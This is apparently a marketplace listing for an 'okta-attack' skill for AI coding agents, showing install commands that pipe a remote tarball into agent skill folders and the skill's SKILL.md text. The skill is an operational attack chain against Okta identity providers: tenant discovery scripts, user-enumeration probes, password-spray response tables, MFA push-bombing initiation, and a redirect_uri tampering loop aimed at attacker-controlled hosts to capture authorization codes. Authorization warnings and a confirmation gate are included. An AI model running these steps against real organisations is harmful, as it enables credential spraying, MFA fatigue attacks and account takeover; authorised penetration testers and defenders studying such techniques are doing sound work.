okta-attack – Other skill for AI agents
Okta-as-IdP red-team attack chain
Install the okta-attack skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/okta-attack-839ed.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /okta-attack – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/okta-attack-839ed.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $okta-attack – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/okta-attack-839ed.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /okta-attack – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/okta-attack-839ed.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /okta-attack – then describe the task you want done.
SKILL.md content
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
When to use this skill
Trigger when:
- DNS shows
<tenant>.okta.comor<tenant>.okta-emea.com(EMEA region) - Login flow redirects to
<tenant>.okta.com/loginor/app/<app_id>/sso/saml - Web pages reference
/signin/customize,oktapreview.com, orauth-js-sdk - Recon notes "uses Okta for SSO"
- A target has
*.okta.comSAN in TLS cert - Identity-fabric mapping returns Okta as IdP for a corporate app
DO NOT use for:
- Entra ID (use
m365-entra-attackinstead) - Google Workspace (use
google-workspace-attack— not yet built) - ADFS (different protocol, on-prem)
---
Tenant discovery
Direct guesses
# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
for region in okta okta-emea oktapreview; do
host="$tenant.$region.com"
code=$(curl -sS --max-time 10 -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code"
done
doneCross-ref from DNS
# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
dig +short "sso.$domain" CNAME
dig +short "login.$domain" CNAME
dig +short "auth.$domain" CNAME
dig +short "okta.$domain" CNAME
doneCross-ref from app HTTP flow
# Visit corporate-app login, follow redirects
curl -sS --max-time 10 --max-redirs 0 -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant---
User enumeration
Method 1 — /api/v1/authn differential
The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
# Probe single user — DON'T spray, this counts as auth attempt!
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<email>","password":"_test_invalid_pw"}'
# Response codes:
# 401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
# 403 + "errorCode":"E0000119" → locked recovery exception (context-dependent)
# 200 → MFA prompt (cred VALID, MFA needed)
# 200 + "status":"SUCCESS" → full auth (rare in modern setups)⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.
Method 2 — Timing limitations
The /me route refers to an authenticated caller, not an arbitrary username. Timing differences alone do not establish user existence.
Method 3 — Sign-in widget JS endpoint
curl -sS --max-time 10 "https://<tenant>.okta.com/api/v1/sessions/me" \
-H "Accept: application/json"
# Response varies by tenant configMethod 4 — Org-specific identifier probing
Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:
[email protected]
[email protected]
[email protected]
[email protected]Method 5 — OIDC /v1/authorize with login_hint
# Tampering with login_hint param can reveal user existence on some configs
curl -sS --max-time 10I "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# A redirect difference alone does not establish existence; compare controlled accounts and complete policy context.---
Authentication flow analysis (always do this first)
# Initial auth — observe what factors come back
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.toolThe following is a hypothetical successful-primary-auth transaction, not the result of an intentionally invalid password. Classic Authn and Identity Engine flows differ:
{
"stateToken": "00ABC...",
"factorResult": "WAITING",
"status": "MFA_REQUIRED",
"_embedded": {
"factors": [
{"factorType": "push", "provider": "OKTA"},
{"factorType": "token:software:totp", "provider": "OKTA"},
{"factorType": "sms", "provider": "OKTA"},
{"factorType": "call", "provider": "OKTA"},
{"factorType": "email", "provider": "OKTA"},
{"factorType": "question", "provider": "OKTA"},
{"factorType": "webauthn", "provider": "FIDO"}
]
}
}Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:
webauthn(FIDO2) — phishing-resistantquestion(security questions) — extremely weak; KBA attackssms/call— phishing-able (push notification fatigue, SIM swap)push— phishing-able via MFA fatigueemail— phishing-able if attacker has email read accesstotp— phishing-able via AiTM
---
Password spray (with Okta-specific lockout discipline)
Lockout policy
Obtain the actual org policy and known current failure counters; no request count guarantees avoidance of lockout.
Discipline:
- Use only designated test accounts and an explicitly agreed attempt budget; no production-account spraying from this recipe.
- Track per-user in atomic state file
- Stop on first valid hit OR if LOCKED rate exceeds threshold
Spray endpoint
# Same /api/v1/authn — see authentication flow aboveStatus codes to watch for
| Response | Meaning |
|---|---|
| 200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |
| 200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |
| 200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |
| 200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |
| 401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |
| 403 E0000119 | Locked recovery exception; not a general auth-user oracle |
| 429 | Rate-limit hit |
---
Push-notification fatigue (MFA bombing)
If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.
Active push initiation (not passive detection)
# Initiate factor verification
curl -sS --max-time 10 -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
-H "Content-Type: application/json" \
-d '{"stateToken":"<from_authn>"}'
# A real test would loop this — DON'T do that without explicit OK---
OIDC redirect_uri tampering
Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:
# Get the app's authorize endpoint
curl -sS --max-time 10 "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
# Test redirect_uri injection
for ruri in \
"https://attacker.example.com/" \
"https://target.com.attacker.com/" \
"https://[email protected]/" \
"https://target.com#@attacker.com/" \
"https://target.com\\@attacker.com/" \
"//attacker.com/" \
"https://target.com/cb?next=https://attacker.com/"; do
code=$(curl -sS --max-time 10 -o /dev/null -w "%{http_code}" \
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
echo " $ruri → $code"
done
# A 302 alone is inconclusive. Distinguish error redirects and approved URIs; code theft additionally requires controlled code issuance and proof of applicable state/PKCE/client protections.---
SAML SP misconfiguration check (per-ap
… (full content is in the download package)
Related skills
- ollama-stack – Run local LLM workloads with Ollama, Open WebUI, and GPU-aware tuning for private…
- on-call-handoff-patterns – Effective patterns for on-call shift transitions, ensuring continuity, context transfer…
- onboarding-playbook – Onboarding checklist: step, phase and order, department, owner, linked SOP and required…
- oneroster-csv-validator – Validates 1EdTech / IMS Global OneRoster v1.1 and v1.2 CSV roster sets: manifest…
- options-flow-analyzer – Compare raw and explicitly filtered options put/call ratios with documented premium…
- oral-health-analyzer – 分析口腔健康数据、识别口腔问题模式、评估口腔健康状况、提供个性化口腔健康建议。支持与营养、慢性病、用药等其他健康数据的关联分析。
- osint-methodology – Comprehensive OSINT methodology for external red-team operations and authorized…
- oss-hunter – Automatically hunt for high-impact OSS contribution opportunities in trending…